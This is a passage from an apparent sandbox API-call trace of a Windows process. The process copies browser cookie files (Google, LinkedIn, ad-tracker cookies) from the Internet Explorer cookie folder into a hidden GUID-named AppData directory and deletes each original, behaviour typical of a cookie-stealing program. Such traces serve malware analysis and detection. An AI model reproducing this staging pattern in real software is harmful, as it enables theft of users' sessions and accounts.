(lpStart="Low\\aetadzjz@eyeota[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@eyeota[1].txt" [0116.003] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.003] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.003] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.003] StrChrW (lpStart="aetadzjz@eyeota[1].txt", wMatch=0x94e005c) returned 0x0 [0116.003] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@eyeota[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@eyeota[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@eyeota[1].txt" [0116.003] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@eyeota[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@eyeota[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@eyeota[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@eyeota[1].txt"), bFailIfExists=0) returned 1 [0116.007] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.007] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@eyeota[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@eyeota[1].txt")) returned 1 [0116.008] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0116.008] lstrlenW (lpString="Low\\aetadzjz@google[2].txt") returned 26 [0116.008] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.008] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.008] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf2) returned 0x9a98470 [0116.008] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.008] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.008] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.008] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.008] StrChrW (lpStart="Low\\aetadzjz@google[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@google[2].txt" [0116.008] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.008] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.008] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.008] StrChrW (lpStart="aetadzjz@google[2].txt", wMatch=0x94e005c) returned 0x0 [0116.008] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@google[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@google[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@google[2].txt" [0116.008] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@google[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@google[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@google[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@google[2].txt"), bFailIfExists=0) returned 1 [0116.017] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.017] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@google[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@google[2].txt")) returned 1 [0116.018] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95a10 | out: hHeap=0x9770000) returned 1 [0116.018] lstrlenW (lpString="Low\\aetadzjz@ibeu2.mookie1[2].txt") returned 33 [0116.018] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.018] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.018] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x100) returned 0x9a96580 [0116.018] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.018] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.018] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.018] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.018] StrChrW (lpStart="Low\\aetadzjz@ibeu2.mookie1[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@ibeu2.mookie1[2].txt" [0116.018] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.018] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.018] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.018] StrChrW (lpStart="aetadzjz@ibeu2.mookie1[2].txt", wMatch=0x94e005c) returned 0x0 [0116.018] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@ibeu2.mookie1[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ibeu2.mookie1[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ibeu2.mookie1[2].txt" [0116.018] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ibeu2.mookie1[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ibeu2.mookie1[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ibeu2.mookie1[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@ibeu2.mookie1[2].txt"), bFailIfExists=0) returned 1 [0116.023] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0116.023] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ibeu2.mookie1[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ibeu2.mookie1[2].txt")) returned 1 [0116.024] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93b70 | out: hHeap=0x9770000) returned 1 [0116.024] lstrlenW (lpString="Low\\aetadzjz@ih.adscale[1].txt") returned 30 [0116.024] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.024] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.024] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfa) returned 0x9a96580 [0116.024] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.024] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.025] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.025] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.025] StrChrW (lpStart="Low\\aetadzjz@ih.adscale[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@ih.adscale[1].txt" [0116.025] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.025] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.025] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.025] StrChrW (lpStart="aetadzjz@ih.adscale[1].txt", wMatch=0x94e005c) returned 0x0 [0116.025] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@ih.adscale[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ih.adscale[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ih.adscale[1].txt" [0116.025] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ih.adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ih.adscale[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ih.adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@ih.adscale[1].txt"), bFailIfExists=0) returned 1 [0116.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0116.028] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ih.adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ih.adscale[1].txt")) returned 1 [0116.029] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93c90 | out: hHeap=0x9770000) returned 1 [0116.029] lstrlenW (lpString="Low\\aetadzjz@linkedin[2].txt") returned 28 [0116.029] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.029] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.029] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf6) returned 0x9a98470 [0116.029] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.029] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.029] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.029] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.029] StrChrW (lpStart="Low\\aetadzjz@linkedin[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@linkedin[2].txt" [0116.029] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.029] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.030] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.030] StrChrW (lpStart="aetadzjz@linkedin[2].txt", wMatch=0x94e005c) returned 0x0 [0116.030] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@linkedin[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@linkedin[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@linkedin[2].txt" [0116.030] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@linkedin[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@linkedin[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@linkedin[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@linkedin[2].txt"), bFailIfExists=0) returned 1 [0116.034] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.034] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@linkedin[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@linkedin[2].txt")) returned 1 [0116.035] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a93db0 | out: hHeap=0x9770000) returned 1 [0116.035] lstrlenW (lpString="Low\\aetadzjz@m.exactag[2].txt") returned 29 [0116.035] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.035] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.035] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf8) returned 0x9a98470 [0116.035] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.035] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.035] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.035] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") 